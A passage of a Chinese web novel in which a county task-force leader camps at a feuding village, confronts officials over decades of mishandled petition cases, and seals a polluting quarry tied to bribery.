“我需要一份材料。”叶凡说,“关于红石峡,过去十年,所有来县里、市里**的卷宗。越详细越好,包括每一次的**诉求、处理结果、还有当事人的口供笔录。明天早上八点前,我需要看到它。”
电话那头,沉默了。
足足过了十几秒,钱卫国才用一种古怪的语气开口:“叶组长,这些都是陈年旧案,卷宗都堆在档案室最底下的仓库里,积满了灰。一夜之间找出来……这工作量,恐怕……”
“我知道有难度。”叶凡打断了他,“所以,我不是以组长的身份命令你,而是以医生的身份,请求你。”
“医生?”钱卫国更糊涂了。
“对。”叶凡的声音,透过电波,清晰地传到对方耳朵里,“我现在要给红石峡这个病人做一台大手术,这些陈年旧案,就是他的既往病史。没有这些,我这刀,下不去。下错了,是会出人命的。”
“这……”钱卫国被这套说辞彻底搞蒙了。
“钱局长,我知道让你为难了。这样,你不用派人,告诉我仓库在哪,我自己去找。”叶凡顿了顿,抛出了最后的筹码,“另外,再帮我准备一样东西。”
“什么东西?”
“一顶帐篷,两张行军床。”
钱卫国彻底懵了,他感觉自己不是在跟一个县领导打电话,而是在跟一个疯子说话。
“叶组长……您要帐篷干什么?”
“钱局长,我这个组长,没有办公室。”叶凡的声音里,忽然带上了一丝笑意,“所以,我决定从明天开始,把我的办公室,直接搬到红石峡的村口。什么时候问题解决了,我什么时候撤。”
电话那头,传来一声倒吸凉气的声音。
钱卫国不说话了。他混迹官场半生,从未见过这种打法。
这是要……扎在村里不走了?
这是要把自己变成一个活靶子,让所有人的目光都聚焦过去?
这是何等的魄力和疯狂!
良久,钱卫国才从牙缝里挤出几个字:“叶组长,我明白了。明天早上八点,东西会准时送到您手上。一样,都不会少。”
挂了电话,叶凡看着窗外深沉的夜色,眼神平静而坚定。
张海涛,你不是要我唱戏吗?
好。
那我就搭一个谁也拆不掉的台子,把所有人都请上台。
我当医生,你当观众。
看看这台手术,最后是谁给谁,开膛破肚。
第86章 草庐为席,人心为棋!
天刚蒙蒙亮,一层薄雾笼罩着青川县城。
一辆半旧的普桑,不快不慢地停在了卫生局宿舍楼下。
车门打开,走下来的却不是司机,而是一个头发花白、穿着一身洗得发旧的干部服,神情慵懒得像是没睡醒的老头。
钱卫国,县**局副局长,一个在机关里泡了三十年,快磨成化石的老油条。
他绕到后备箱,打开,里面塞得满满当当。
两大捆泛黄的牛皮纸卷宗,散发着尘封的霉味,旁边还挤着一顶崭新的军绿色帐篷和两张折叠行军床。
钱卫国看着这些东西,自嘲地摇了摇头。
他这**局,迎来送往多少告状的刁民、难缠的领导,就没接过这么离谱的“订单”。
叶凡已经等在楼下,神清气爽,眼里的血丝已经褪去,只剩下一种近乎冷酷的清明。
“钱局长,辛苦了。”
“叶组长,你这可不是辛苦我,你这是要我的老命。”钱卫国指了指那堆卷宗,“红石峡十年,大小**三十七次,所有卷宗都在这儿了。我翻了一宿,差点没让灰尘给呛死在档案库里。”
他嘴上抱怨,眼神却在滴溜溜地打量着叶凡,像是在看一个什么稀罕物种。
“最要命的是这个。”钱卫国拍了拍帐篷,“叶组长,您这是要效仿诸葛亮,来个草庐对?还是打算演一出负荆请罪?这阵仗,咱们青川县几十年没见过了。”
“都不是。”叶凡走上前,熟练地将行军床扛在肩上,“我只是想搭个台子,离病人近一点,听诊方便。”
钱卫国被噎了一下,半晌才咂摸出味来。
他这是把整个红石峡当成了一个病人,把自己当成了主刀医生。
疯子,真是个疯子。
但他混迹官场多年,深知一个道理:宁可得罪君子,不可招惹疯子。因为你永远不知道疯子下一步会干出什么。
“东西给你送到了,我的任务算完成了。”钱卫国掸了掸身上的灰,“叶组长,老哥我多句嘴。红石峡那地方,水深王八多,你这猛龙想过江,当心被小鬼缠上。”
“谢谢钱局长提醒。”叶凡笑了笑,“不过我不是龙,我是来抽水的。”
说完,他把东西一股脑塞进自己的桑塔纳,发动了车子。
钱卫国站在晨光里,看着那辆绝尘而去的桑塔纳,脸上的慵懒渐渐褪去,取而代之的是一种复杂难明的光。
他摸出一根烟点上,深深吸了一口,喃喃自语:“这县里,是要变天了啊……”
桑塔纳再次停在红石峡的村口。
一夜之间,这里像是被深度清洁过。
地上的血污和碎石不见了,取而代之的是一层新铺的黄土,溪水也恢复了清澈。
王老二早早就等在了那里,看到叶凡的车,像是看到了救星,连忙跑了过来。
他的眼睛布满血丝,但眼神里却多了一丝光。
“叶医生!我娘……医院那边说,情况稳定下来了!”
“嗯,我知道。”叶凡下了车,把帐篷和行军床卸了下来,“搭把手。”
“啊?哦!”王老二愣愣地看着这些东西,不明白他要干什么。
在王老二和几个闻讯赶来的王家后生的帮助下,那顶军绿色的帐篷,就在村口最显眼的位置,被支了起来。
一左一右,摆着两张行军床。
一张桌子,几把椅子。
一个简陋到堪称寒酸的“红石峡村综合治理工作领导小组办公室”,就这么成立了。
这番操作,把整个红石峡的村民都看傻了。
他们躲在远处,藏在石头后、树林里,交头接耳,议论纷纷。
“这官,咋跟以前来的不一样?不住镇上大院,睡这儿?”
“这是要干啥?演戏给咱们看?”
石家的地盘上,石磊站在高处,远远地看着这一幕,眉头紧锁。
他旁边一个族人低声说:“磊哥,这小子邪乎得很,咱们要不要……”
“都他妈给老子闭嘴!”石磊低喝一声,“没看懂吗?人家这是把刀架在了自己脖子上,逼着咱们两家做选择!”
叶凡没理会周围的目光,他将那两大捆卷宗,一卷一卷地摊开在桌子上,用石头压住四角。
一张张泛黄的纸,记录着红石峡十年来的血泪和纷争。
他搬了把椅子,就那么坐在“办公室”门口,开始一份一份地看。
阳光照在他身上,他的影子被拉得很长,像一尊沉默的雕像。
这一坐,就是一上午。
他不说话,不巡视,也不召集任何人开会。
他就坐在那里,任凭山风吹乱他的头发,吹得纸张哗哗作响。
这无声的举动,比任何声色俱厉的训话,都更让人心头发毛。
红石峡的村民们,感觉就像有一只无形的手,扼住了他们的喉咙。
中午时分,一辆红色的甲壳虫,像一团跳动的火焰,突兀地出现在了这片灰扑扑的山坳里。
车门打开,苏沐秋跳了下来。
她换了一身干练的户外装,脚上是登山鞋,背着一个大大的摄影包,手里还提着一个保温桶。
她看到村口那顶孤零零的帐篷和帐篷前那个看文件的男人,饶是已经有了心理准备,还是被这画面冲击得愣了一下。
“叶大组长,你这是占山为王,打算落草了?”苏沐秋走到桌前,把保温桶往桌上一放,发出“咚”的一声。
叶凡从卷宗里抬起头,看到是她,眉宇间的冷峻柔和了几分。
“你怎么来了?”
“我们江城晚报的记者,哪里有新闻就去哪里。”苏沐秋拧开保温桶,一股鸡汤的鲜香瞬间飘散开来,“再不来,怕你英年早逝,我的头版头条就没了素材。”
她盛了一碗汤,推到叶凡面前:“给你。熬夜伤肝,喝点好东西补补。免得你出师未捷身先死,长使记者泪满襟。”
叶凡看着那碗热气腾腾的鸡汤,心里某个地方,暖了一下。
他没客气,接过来就喝。
“张海涛的棋,不好接吧?”苏沐秋坐到他对面,压低了声音。
“棋盘已经摆好了,我不接也得接。”叶凡喝完汤,感觉浑身的疲惫都消散了不少,“不过他想当棋手,也得问我这个棋子愿不愿意。”
苏沐秋的眼睛亮晶晶的:“那你打算怎么下?”
叶凡指了指桌上那些卷宗:“病人的病史都在这里。病因很清楚,水源**,土地划分不均,积怨太深。但几十年都解决不了,说明病根不在水和土,在人心。”
“人心?”
“对。”叶凡的目光扫过远处那些探头探脑的村民,“他们不信官,不信法,只信自己手里
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的锄头和柴刀。所以,想治病,得先立信。”
“怎么立?”
叶凡笑了笑,没回答。
他站起身,清了清嗓子,声音不大,却清晰地传遍了整个安静的村口。
“王老三!”
人群里一阵骚动,一个瘦小的中年男人迟疑地走了出来。
叶凡从一堆卷宗里,抽出薄薄的一张纸:“六年前,你儿子在村里的小溪玩水,被上游石料厂冲下来的碎石砸断了腿。你**,县里判了石料厂赔三千块,对吗?”
王老三浑身一震,点了点头。
“钱拿到了吗?”
王老三的头,低了下去,声音像蚊子哼:“……拿到了。”
“拿到的是三千块,还是石家给的一千块**,让你签了息诉罢访的保证书?”
王老三猛地抬起头,惊恐地看着叶凡,像是见了鬼。
叶凡没看他,又拿起另一份卷宗:“石家,石老五!”
石家那边,一个瘸腿的汉子走了出来,一脸的警惕。
“八年前,你家和王家因为分水渠的事打架,你被打破了头。你**,最后不了了之,对吗?”
石老五梗着脖子:“是又怎么样?”
“卷宗上说,是因为你先动手,所以没理。可我怎么听说,是当时处理这事的镇干部,收了王家两条烟?”
这话一出,全场哗然。
石老五的脸瞬间涨得通红。
叶凡将两份卷宗扔在桌上,目光缓缓扫过所有人:“这样的事,这十年,在这堆纸里,有三十七件。你们告诉我,哪一件,是真正公平处理的?哪一次,你们是真的心服口服?”
没人说话。
整个村口,死一般的寂静。
那些尘封的、被遗忘的、被强行压下去的委屈和愤怒,在这一刻,被叶凡赤裸裸地重新挖了出来,晾晒在阳光下。
苏沐秋站在一旁,手心已经捏出了汗。
她看着叶凡的背影,心头巨震。
他不是在审案,他是在诛心!
他用最残酷的方式,撕开了红石峡那块血肉模糊的伤疤,逼着所有人直面里面的脓和血。
就在这时,几辆挂着政府牌照的汽车,从山路那边开了过来,停在不远处。
车上下来几位气度不凡的干部,为首的正是县**局的王副局长和水利局的李副局长。
他们是接到通知,前来参加“领导小组第一次会议”的。
可当他们看到村口这堪比难民营的“办公室”,和眼前这剑拔**张的对峙场面时,全都懵了。
王副局长皱着眉头走上前,官腔十足地开口:“叶组长,你这是在干什么?我们是来开会的,不是来看你搞群众批斗会的!”
叶凡转过身,看着这几位姗姗来迟的“副组长”,脸上露出一丝微笑。
“王局长,李局长,各位领导,你们来得正好。”
他指了指那群情绪激动、眼神复杂的村民,又指了指桌上那堆记录着冤屈和血泪的卷宗。
“欢迎来到红石峡临时办公室。会,就在这儿开。人,就在这儿见。问题,也得在这儿解决。”
“今天的第一个议题,就是桌上这三十七件陈年旧案。各位都是相关部门的领导,比我专业。现在,请你们当着红石峡全体村民的面,一件一件地,给我,也给他们一个说法。”
第87章 公堂设在村口,被告席上坐官!
王副局长的脸瞬间涨成了猪肝色。
他好歹是县**局的二把手,走到哪不是前呼后拥,何曾被人这么当众顶在墙上?
“叶凡同志!请你注意你的措辞!”王副局长往前迈了一步,官威十足,“我们是来开会的,是来解决问题的,不是来搞这种群众审判!这不符合程序,更不符合规矩!”
他身后的水利局李副局长也跟着帮腔,一脸的不赞同:“是啊,叶组长,有问题可以慢慢谈,这么把陈年旧案都翻出来,激化矛盾,对工作开展没有好处。”
叶凡笑了。
他没看那两位义正辞严的副局长,而是转身,面向所有村民,声音不高,却字字清晰。
“各位乡亲,你们听到了吗?王局长和李局长说,要按程序,守规矩。”
他拿起桌上那份县委的**,轻轻一扬。
“县委任命我当这个组长,给我的规矩,就是‘全权负责’,给我的程序,就是‘解决问题’。”
他的目光重新落回王副局长脸上,眼神平静,却带着一股手术刀般的锋利。
“现在,我的办公室就在这儿,问题和当事人也都在这儿。在我看来,没有比这更符合规矩,更能解决问题的程序了。”
“还是说……”叶凡顿了顿,嘴角勾起一抹玩味的弧度,“王局长觉得,坐在窗明几净的会议室里,喝着茶,听着下属那些改了八遍的汇报,才叫‘规矩’?”
“你!”王副局长被这句话噎得差点一口气没上来。
这话太毒了,直接把他钉在了“脱离群众、官僚主义”的耻辱柱上。
苏沐秋站在一旁,悄悄按下了录音笔的开关,看着叶凡的眼神,异彩连连。
这家伙,哪里是医生,分明是个天生的斗士,每一句话都算准了落点,刀刀扎心。
“叶组-长,你不要偷换概念!”水利局的李副局长连忙出来打圆场,“王局长的意思是,这些案子历史遗留问题复杂,一两句话说不清楚,我们还是……”
“那就长话短说。”叶凡直接打断了他,从桌上拿起一份卷宗,“就说这个,石老五的案子。王局长,卷宗上写着,‘经查,石老五首先动手,引发斗殴,其受伤责任自负,对双方进行批评教育’。这个结论,是你们局里下的吧?”
王副局长下意识地点了点头,心里咯噔一下。
叶凡没理他,直接看向人群里那个瘸腿的汉子:“石老五,你来说,当时是不是你先动的手?”
石老五梗着脖子,满脸通红,吼道:“他王家的人都堵到我家门口骂我娘了,我再不动手,还算个男人吗!”
“好。”叶凡点点头,又拿起另一份卷宗,“王老三,你儿子被石头砸断腿,卷宗上写着,‘双方达成和解,石料厂一次性补偿三千元,王老三自愿放弃追诉权利’。这个字,是你签的吧?”
那个瘦小的男人哆嗦着嘴唇,点了点头。
“那你再当着大家的面说一遍,你拿到手的,是三千,还是一千?”
王老三的头猛地垂了下去,整个人缩成一团,不敢说话。
叶凡将两份卷宗并排放在桌上,声音陡然提高。
“一个,只写了结果,没写起因!一个,只写了和解,没写猫腻!”
“王局长,我请问你,**局办案,是只看谁的拳头先挥出去,不管前因后果的吗?这就是你们的‘程序’?”
“还有**局的同志,”他看向跟在后面一脸尴尬的钱卫国,“这种明显有问题的和解协议,你们就这么存档了事?这就是你们的‘规矩’?”
他每问一句,王副局长和钱卫国的脸色就白一分。
周围的村民们,彻底骚动起来。
他们看着那几位平时高高在上的领导,眼神从最初的敬畏慢慢变成了怀疑,变成了审视。
这些话,是他们憋在心里好多年,却从来不敢说出口的话。
今天,这个年轻的“叶组长”,当着所有人的面,替他们全问了出来!
“够了!”王副局长终于忍无可忍,猛地一拍桌子,桌上的卷宗都跳了起来,“叶凡!你这是在质疑我们整个政法系统的工作!你这是无组织无纪律!”
“王局长,你别激动。”叶凡反而笑了,他拉开一把椅子,做了一个“请”的手势,“今天,我就给你一个机会,让你展现一下咱们政法系统的专业性。”
他指了指那把椅子,又指了指对面那群村民。
“这把椅子,就是被告席。不,说错了,是‘解答席’。你坐在这儿,桌上这三十七份卷宗,你随便挑一件。你,当着我的面,当着所有乡亲的面,把这案子从头到尾,给我们讲清楚,讲到所有人都心服口服。只要你能办到,我叶凡,立刻收起这堆破烂,跟你回县里开会,给你端茶倒水,鞍前马后。”
“你要是讲不清楚……”叶凡的笑容慢慢敛去,声音冷了下来,“那你就坐在这儿,听到什么时候讲清楚了,什么时候走。”
整个山谷,死一般的寂静。
所有人都被叶凡这番操作给震傻了。
公堂设在村口,被告席上坐官。
这是何等的疯狂!
何等的胆大包天!
王副局长站在那里,浑身的血液都涌上了头顶。
他看着那把空荡荡的椅子,感觉那不是椅子,是一个烧红的烙铁,是一个能把他所有官威和脸面都烤焦的刑具。
坐,还是不坐?
坐上去,他就要面对几十双充满怨愤和质疑的眼睛,面对一堆他自己都说不清楚的烂账。
不坐,他就是心虚,就是无能,就是当众承认了叶凡所有的指控。
他身后的李副局长和其他干部,一个个眼观鼻,鼻观心,恨不得当场隐身。
神仙打架,凡人遭殃,谁也不想被溅上一身血。
就在这凝固的空气中,苏沐秋突然轻咳了一声,她举着录音笔,笑吟吟地开口:“王局长,我觉得叶组长的提议挺好的呀。这也是一种创新的工作方式嘛,叫‘现场办公,阳光执法’。我们江城晚报正愁没有好的新闻素材,您要是坐上去,我保证给您写一篇大特写,标题我都想好了,就叫《副局长深入一线,面对面
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为群众答疑解惑》,您看怎么样?”
这一记补刀,又准又狠。
王副局长差点没一口老血喷出来。
他要是敢不坐,明天报纸上会写什么?
《面对群众质疑,某领导心虚逃避》?
那他这辈子都别想再进一步了。
王副局长的腿像是灌了铅,一步,一步,挪到了那把椅子前。
他脸上的肌肉不停抽搐,最后,像是用尽了全身的力气,一屁股坐了下去。
在他坐下的那一刻,村民中爆发出了一阵压抑不住的骚动。
他们看到了什么?
一个平日里只能在电视上看到的副局长,竟然真的像个犯人一样,被“审问”了。
叶凡满意地点点头,拿起最上面一份卷宗:“很好,王局长很有担当。那我们就从第一件开始。三年前,王家坳和石家寨因为灌溉渠的归属权问题,发生械斗,伤了七个人。当时**局出警,带走了五个人,最后拘留了三个,全是王家的人。王局长,卷宗上说,是因为王家的人先动手。我想请你解释一下,当时的出警记录在哪里?双方的口供笔录原件在哪里?为什么最后处理结果,只罚了闹得最凶的王家?”
王副局长额头上渗出了细密的汗珠。
三年前的案子,鬼才记得那么清楚!
卷宗都是下面派出所报上来的,他就是签了个字而已。
“这个……案子的具体细节,我需要回去查一下档案……”他支支吾吾地说道。
“不用查了。”叶凡从另一堆卷宗里,抽出几张泛黄的纸,“我替你带来了。这是当时的出警记录,上面清清楚楚写着,‘双方均有人员受伤,现场情绪激动’。这是石家的口供,说王家的人蛮不讲理。这是王家的口供,说石家的人仗势欺人。”
叶凡把那些纸拍在桌上。
“王局长,现在,请你看着这些原始记录,再对着两边的当事人,告诉我们,你那个‘王家先动手’的结论,是怎么得出来的?”
王副局长彻底说不出话了。
他看着那些自己从未认真看过的笔录,再看看周围那些虎视眈眈的眼睛,只觉得屁股下的椅子,变成了一片刀山。
叶凡站起身,走到他的身边,弯下腰,用只有两个人能听到的声音说:
“王局长,我不是要你的难堪。我是要你记住,你坐的这张椅子,代表的是国家的公信力。你签的每一个字,都关系到老百姓对我们这些穿制服的人,是信,还是不信。”
“今天,你把丢掉的信誉,给我捡起来。否则,我不介意,亲手把它踩得更碎一点。”
说完,他直起身,环视全场,声音恢复了平静。
“今天,办公室就在这里。人,也都在这里。这个问题不解决,谁也别想走。”
他拉过另一张椅子,在王副局长的对面坐下,给自己倒了杯水。
那架势,仿佛不是在解决什么百年**,而只是在等待一个迟到的病人,终于肯配合治疗。
阳光下,那顶孤零零的帐篷,此刻,却像一座无法撼动的衙门。
第88章 一刀见脓,官威扫地!
王副局长的额角,汗珠滚滚而下,浸湿了鬓角。
他那双习惯于审视别人的眼睛,此刻却游移不定,不敢与叶凡对视,更不敢看周围那些燃着火苗的村民目光。
空气仿佛凝固了,只有山风吹过,卷起桌上泛黄的卷宗,发出哗啦啦的声响,像是在无情地翻阅着他的窘迫。
“怎么?王局长。”叶凡的声音很平静,像手术前安抚病人的主刀医生,“是出警记录有问题,还是口供笔录是伪造的?或者说,这个结论,是您在办公室里,拍脑袋想出来的?”
这番话,没有一个脏字,却比耳光还响亮。
“我……我……”王副局长喉咙发干,终于从牙缝里挤出一句话,“这是下面派出所报上来的案子,可能是……是他们调查得不够细致!工作上有疏忽!”
他找到了救命稻草,立刻把锅甩了出去。
“疏忽?”叶凡笑了,他转向人群,“王家的,当时被拘留的是哪三位?”
人群里,三个汉子默默地站了出来,脸上带着**和愤恨。
“你们在里面待了几天?”
“一个七天,两个十五天!”其中一个汉子吼道。
叶凡点点头,目光重新回到王副局长身上。
“王局长,一句‘疏忽’,换来三个人几十天的牢狱之灾。按照国家规定,这算不算错案?需不需要追责?该不该有国家赔偿?”
“这……”王副局长彻底懵了。
他没想到叶凡的刀锋如此凌厉,一刀甩锅,立刻被第二刀追着砍了回来,而且刀刀见血,每一刀都砍在“规定”和“程序”的大动脉上。
“当然要查!必须一查到底!”王副局-长猛地一拍大腿,像是下了天大的决心,“我回去就成立专案组,把这个案子重新过一遍!绝不姑息!”
“好。”叶凡似乎很满意这个答案,“乡亲们都听到了,王局长承诺了,要一查到底。苏记者,你也记录下来了。我相信王局长说到做到。”
苏沐秋心领神会,举了举手里的录音笔,对着王副局长露出了一个甜美又充满威胁的微笑。
王副局长感觉自己像是被架在火上,烤得外焦里嫩。
叶凡没给他任何喘息的机会,手指在桌上轻轻一点,敲在了另一份卷宗上。
“下一个,王老三的儿子,腿断了。”
人群里那个瘦小的男人,浑身一颤。
“王老三,我再问你一遍,让你签息诉罢访保证书,给你一千块**的,是谁?”
王老三嘴唇哆嗦着,看了一眼石家那边,眼神里全是恐惧。
叶凡的目光转向高地上的石磊。
“石磊,村里的石料厂,是不是你堂叔开的?”
石磊脸色一变,硬着头皮点了点头。
“叶组长!”水利局的李副局长终于看不下去了,他觉得再让叶凡这么问下去,他们这群人今天就别想走出这个山坳了,“这个石料厂的手续是齐全的,它和村民的**,属于民事调解的范畴,我们不应该……”
“民事调解?”叶凡打断他,眼神冷了下来,“李局长,你也是领导小组成员,我请教你一个问题。石料厂开在村子上游,爆破作业,粉尘污染,废水直排,这些算不算安全隐患和环境问题?你们水利局和环保局,来现场勘查过吗?审批手续里,有环境测评报告吗?”
李副局长张了张嘴,一个字也说不出来。
那种偏远山村的乡镇企业,谁会去管那么细?
“一个孩子的腿断了,一个家庭被威逼利诱,一条小溪被污染得不像样子。到了你李局长嘴里,就成了一句轻飘飘的‘民事调解’?”叶凡的声音不大,却充满了重量,“如果今天躺在医院里的,是你儿子,你还会这么说吗?”
李副局长的脸,瞬间白了。
这诛心之问,让在场所有干部都感到一阵寒意。
一直沉默的村民们,终于被点燃了。
“对!我家地里的庄稼,这几年收成越来越差,就是被那厂子的灰给盖的!”
“溪里的水,以前都能直接喝,现在洗手都嫌脏!”
“我老伴儿去年一直咳嗽,去县里一查,肺都出问题了!”
一个声音响起,就有十个声音附和。
积压了多年的怨气,如同决堤的洪水,瞬间爆发。
矛头不再是王家和石家之间,而是齐齐指向了那个在他们头顶作威作福多年的石料厂,指向了这些不作为的官员。
石磊的脸色也变了。
他没想到,叶凡三两句话,就把两家的宗族械斗,变成了整个红石峡村民对不公的控诉。
王副局长和李副局长彻底慌了神。他们对视一眼,都在对方眼中看到了恐惧。
他们今天面对的已经不是一个刺头“叶组长”,而是一群被彻底激怒的刁民!
苏沐秋的相机闪光灯,在此刻“咔嚓”一声,精准地捕捉到了两位局长脸上那副惊慌失措的表情。
“李局长,村民们反映的污染问题,好像很严重啊。”她一脸天真地问道,“作为主管单位,你们之前真的不知道吗?”
李副局长恨不得找个地缝钻进去。
就在这片沸反盈天的混乱中,叶凡站了起来。
他只是一个简单的起身动作,却像有种无形的魔力,让喧闹的现场,慢慢安静了下来。
所有人的目光,都聚焦在他身上。
“看来,问题比我想象的还要多。”叶凡缓缓开口。
他走到那几位脸色煞白的“副组长”面前,语气里听不出喜怒。
“各位领导,看来今天的会,内容很充实。我提议,我们这个领导小组,现在就开第一次
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现场办公会。”
他伸出手指,指向山上的石料厂。
“第一个议题:立刻查封红石峡石料厂,暂停一切生产活动,等待后续调查。”
“第二个议题:由水利局和环保局牵头,立刻对红石峡的水源和土地进行取样检测,三天之内,我要看到报告。”
“第三个议题:由**局和**局组成联合调查组,重新审核桌上这三十七件案子,以及刚才村民们反映的所有问题,一件一件过,一桩一桩清。”
他看着王副局长和李副局长,语气不容置疑。
“我是组长,你们是副组长。现在,我不是在跟你们商量,我是在分配任务。”
“王局长,查封石料厂,需要你的人去执行。李局长,取样检测,是你的本职工作。钱局长,卷宗复核,你最有经验。”
他顿了顿,补上了最后一句话。
“谁有意见?”
山谷里,落针可闻。
王副局长和李副局长像两只被掐住了脖子的公鸡,脸憋得通红,却一个字都说不出来。
反对?
拿什么反对?
叶凡说的每一条,都占着理,拿着县委的**当令箭。
他们要是敢说个“不”字,就是公然抗命,就是不作为。
苏沐秋的录音笔和相机,可不是吃素的。
同意?
那就等于被叶凡彻底绑上了战车。
查封石料厂,得罪的是石家背后的势力。
重新查案,打的是自己和同僚的脸。
无论哪一样,都是吃力不讨好的苦差事。
他们这才明白,从叶凡把公堂设在村口的那一刻起,他们就已经输了。
叶凡根本不是要审他们,而是要用他们!
用他们的身份,用他们的权力,来当自己的手术刀,亲自去割开红石峡这个巨大的脓包。
良久,王副局长几乎是从牙缝里挤出了几个字:“……没意见。”
他身后的李副局长和钱卫国,也只能像斗败了的公鸡,颓然地点了点头。
叶凡的脸上终于露出了一丝微笑。
他转身,面向全体村民,朗声宣布:“从现在开始,红石峡综合治理工作组,正式开始办公!大家有什么冤,有什么苦,随时可以来这个帐篷里找我,找各位局长!”
“今天,我们就从查封石料厂开始!”
说完,他看向石磊,眼神平静。
“石磊,带路。”
石磊看着叶凡,眼神复杂到了极点。
他知道,从这一刻起,他石家在红石峡一手遮天的日子,结束了。
但他心里,却又莫名地松了一口气。
他沉默地点了点头,转身,朝着石料厂的方向,迈出了第一步。
那一步,仿佛踩在了红石峡几百年恩怨的节点上,沉重,却又带着新生的力量。
第89章 第一把刀,斩向后台!
山路崎岖,一支奇怪的队伍正在前行。
走在最前面的,是红石峡石家的头人石磊,他高大的身影像一座移动的小山,只是此刻,这座山充满了沉默的压力。
紧随其后的,是叶凡。
他步履平稳,神色平静,仿佛不是去查封一家工厂,而是去进行一次常规的术前探查。
再往后,是王副局长和李副局长一行人。他们脱下了笔挺的制服外套,卷着袖子,走在坑洼不平的土路上,一个个脸色比路边的石头还难看,活像一群被押解的俘虏。
苏沐秋则像一只轻盈的蝴蝶,穿梭在队伍中,手里的相机时不时“咔嚓”一声,将这历史性的一幕定格。
村民们远远地跟在最后,他们不敢靠得太近,但也不愿离去。
那是一种混杂着期待、恐惧和一丝报复快感的复杂情绪。
石料厂建在半山腰,远远就能听到机器的轰鸣和闻到刺鼻的粉尘味。
厂区门口,一个身材矮胖、满脸横肉的中年男人正叉着腰,身后站着十几个手持铁棍的彪形大汉,阵仗十足。
他就是石料厂的老板,石磊的堂叔,石大山。
“磊子!**疯了?带外人来抄自己家的买卖!”石大山一看到队伍,就指着石磊的鼻子破口大骂。
石磊脚步一顿,脸色涨红,低声道:“叔,这位是县里来的叶组长……”
“我管他什么夜组长日组长的!”石大山一口浓痰吐在地上,斜着眼打量叶凡,“小子,哪条道上的?知道这是谁的地盘吗?敢到这儿来撒野!”
王副局长一看来人这嚣张气焰,心里咯噔一下,刚想往后缩,就感觉一道冰冷的目光落在了自己身上。
是叶凡。
“王局长,”叶凡的声音不大,却让王副局长一个激灵,“你是**局副局长,有人公然阻碍执法,你知道该怎么做。”
王副局长的脸瞬间垮了下来。他硬着头皮上前一步,清了清嗓子:“石大山!我们是县综合治理工作组的,现在奉命对你的石料厂进行查封调查,请你配合!”
“配合?”石大山像是听到了天大的笑话,他拍了拍自己肥硕的肚皮,“王局,你跟我说配合?去年你托我给你内弟安排工作的时候,怎么不说这两个字?我这厂子,是县里张**亲自点过头的重点项目,你们说封就封?谁给你们的胆子!”
张**!
这三个字一出,王副局长和李副局长的脸色,瞬间变得煞白。
他们知道,石大山说的是县委**张海涛。
王副局长刚挺起来的腰杆,立刻就软了下去,他求助似的看向叶凡,那眼神分明在说:叶组长,这水太深,咱们还是从长计议吧?
叶凡却像是没看到他的眼神,也没理会石大山的叫嚣。
他径直走到厂区门口,看了看那锈迹斑斑的大铁门,又抬头看了看上面悬挂的“安全生产,警钟长鸣”的牌子。
“石老板,”叶凡开口了,“你说这厂子是张**点过头的项目,我相信。领导支持地方企业发展,是好事。”
石大山一听,以为叶凡服软了,脸上露出得意的笑容:“算你小子识相!”
“但是,”叶凡话锋一转,“我没记错的话,张**在全县安全生产会议上,三令五申,要求所有高危企业,必须有持证上岗的安全员,必须有定期的安全巡检记录,必须有应对突发事故的应急预案。这些,你有吗?”
石大山的笑容僵在了脸上。
叶凡指了指他身后那几个拿着铁棍的工人:“他们是你的工人,还是你的保安?上班时间,不戴安全帽,手里拿着铁棍,这就是你的企业文化?门口的消防栓,我隔着十米远都能看到上面积了半指厚的灰,里面的水带,怕是早就烂成渣了吧?”
他每说一句,石大山的脸色就难看一分。
“我学过医,对粉尘的危害,比一般人了解得多一点。”叶凡的目光扫过那些工人,“长期在没有任何防护措施的环境下工作,十年之内,他们中至少有三成,会患上不可逆转的尘肺病。到时候,他们会像个破风箱一样喘气,跪在地上,咳出一块块带血的肺组织,最后活活憋死。”
他的声音很平静,像是在陈述一个再简单不过的医学常识。
但这话听在那些工人耳朵里,却如同晴天霹雳。
他们握着铁棍的手,不自觉地松了。
“石老板,你让他们为你卖命,你给他们交社保了吗?给他们买工伤保险了吗?还是说,你打算等他们病倒了,就花几千块钱,像打发王老三一样,把他们打发掉?”
石大山被问得哑口无言,额头上渗出了冷汗。
“你……你少在这儿妖言惑众!”
“是不是妖言惑众,我们查一查就知道了。”叶凡看向王副局长,语气不容置疑,“王局长,现在,我怀疑这家工厂不仅存在严重的环境污染问题,还存在重大的安全生产隐患,并且涉嫌非法用工。我建议,立刻查封,控制法人,审查账目。”
“你敢!”石大山彻底急了,他指着叶凡,色厉内荏地吼道,“我告诉你们,我这厂子每个月都要给陈主任送一份‘干股’!你们动我,就是动陈主任!陈斌主任,你们惹得起吗?”
陈斌!
县委办副主任,张海涛的大秘!
王副局长和李副局长感觉自己的腿肚子都在打转。
这已经不是深水了,这是龙潭虎穴!
就在这时,苏沐秋的相机“咔嚓”一声,闪光灯亮起,精准地捕捉到了石大山那张扭曲的脸。
“石老板,
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您刚才说,给县委办的陈斌主任送‘干股’?”苏沐秋举着录音笔,一脸天真地凑了过来,“这个可是大新闻啊!您能具体说说,是送了多少吗?陈主任本人知道吗?这笔钱,走的是公账还是私账?”
石大山瞬间意识到自己说漏了嘴,脸色“唰”地一下变得惨白。
“我……我胡说八道的!”
“没关系,是不是胡说八道,我们报社有专业的调查记者会去核实的。”苏沐秋笑得像只小狐狸,“王局长,这么明确的**线索,你们**局应该比我们记者更感兴趣吧?”
王副局长感觉自己被一盆冰水从头浇到脚,然后又被架在了火上。
一边是叶凡不容置疑的命令,一边是苏沐秋明晃晃的“媒体监督”,背后还有上百双村民的眼睛盯着。
前面,是县委**大秘的黑手。
退,是万丈深渊。
进,是刀山火海。
“愣着干什么!”叶凡的声音如同惊雷,在他耳边炸响,“执行命令!”
王副局长浑身一颤,他看着叶凡那双冷静到近乎冷酷的眼睛,忽然明白了。
今天,他要是退了,这个“叶组长”绝对会毫不犹豫地把他当成第一个祭品,踩着他的尸体往前走。
拼了!
“来人!”王副局长猛地从牙缝里吼出两个字,他从手下那里抢过一卷封条,亲自上前,撕开,狠狠地按在了石料厂的大铁门上。
“啪!”一声脆响。
那张写着“青川县综合治理工作组封”的白色封条,像一道刺眼的伤疤,贴在了石家权势的脸上。
石大山和他身后的打手们,全都傻了。
村民们,也全都静了。
随即,人群中爆发出了一阵压抑了许久的、雷鸣般的欢呼。
王副局长贴完封条,整个人像是被抽空了力气,后背已经被冷汗湿透。
但他看着那张封条,心里却又莫名涌起一股从未有过的畅快。
叶凡走到他身边,拍了拍他的肩膀。
